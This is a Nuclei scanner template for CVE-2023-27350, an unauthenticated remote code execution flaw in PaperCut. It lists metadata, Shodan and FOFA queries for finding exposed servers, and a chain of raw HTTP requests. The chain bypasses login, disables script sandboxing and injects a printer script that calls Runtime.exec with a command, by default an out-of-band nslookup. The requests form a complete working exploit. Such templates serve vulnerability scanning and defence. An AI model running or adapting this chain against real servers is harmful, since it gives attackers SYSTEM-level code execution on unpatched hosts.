136 lines
5.3 KiB
YAML
136 lines
5.3 KiB
YAML
id: CVE-2023-27350
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info:
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name: PaperCut - Unauthenticated Remote Code Execution
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author: rootxharsh,iamnoooob,pdresearch
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severity: critical
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description: |
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This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
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remediation: |
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Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
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reference:
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- https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-27350
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- https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
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- https://www.zerodayinitiative.com/advisories/ZDI-23-233/
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- http://packetstormsecurity.com/files/171982/PaperCut-MF-NG-Authentication-Bypass-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-27350
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cwe-id: CWE-284,NVD-CWE-Other
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epss-score: 0.97107
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epss-percentile: 0.99783
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cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 10
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vendor: papercut
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product: papercut_mf
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shodan-query:
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- http.html:"PaperCut"
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- http.html:"papercut"
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- http.html:"content=\"papercut\""
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- cpe:"cpe:2.3:a:papercut:papercut_mf"
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fofa-query:
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- body="papercut"
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- body="content=\"papercut\""
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tags: cve2023,cve,packetstorm,papercut,rce,oast,unauth,kev
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variables:
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cmd: "nslookup {{interactsh-url}}"
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http:
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- raw:
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- |
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GET /app?service=page/SetupCompleted HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update
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- |
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GET /app?service=page/PrinterList HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=page%2FPrinterList
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- |
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POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}}
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: body
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words:
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- 'Avanceret kontering'
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extractors:
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- type: regex
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name: printerID
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group: 1
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regex:
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- 'erList\/selectPrinterCost&sp=([a-z0-9]+)">'
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internal: true
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part: body
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# digest: 4b0a004830460221009d354896dfc5197fe175c60ac3dc9ca83dc8f744a1ee819b236565f07e2fa379022100bf100d32faa3748a2a5a7f3a3081e592dbc7cf1af921b4324074670798c5ebe9:922c64590222798bb761d5b6d8e72950 |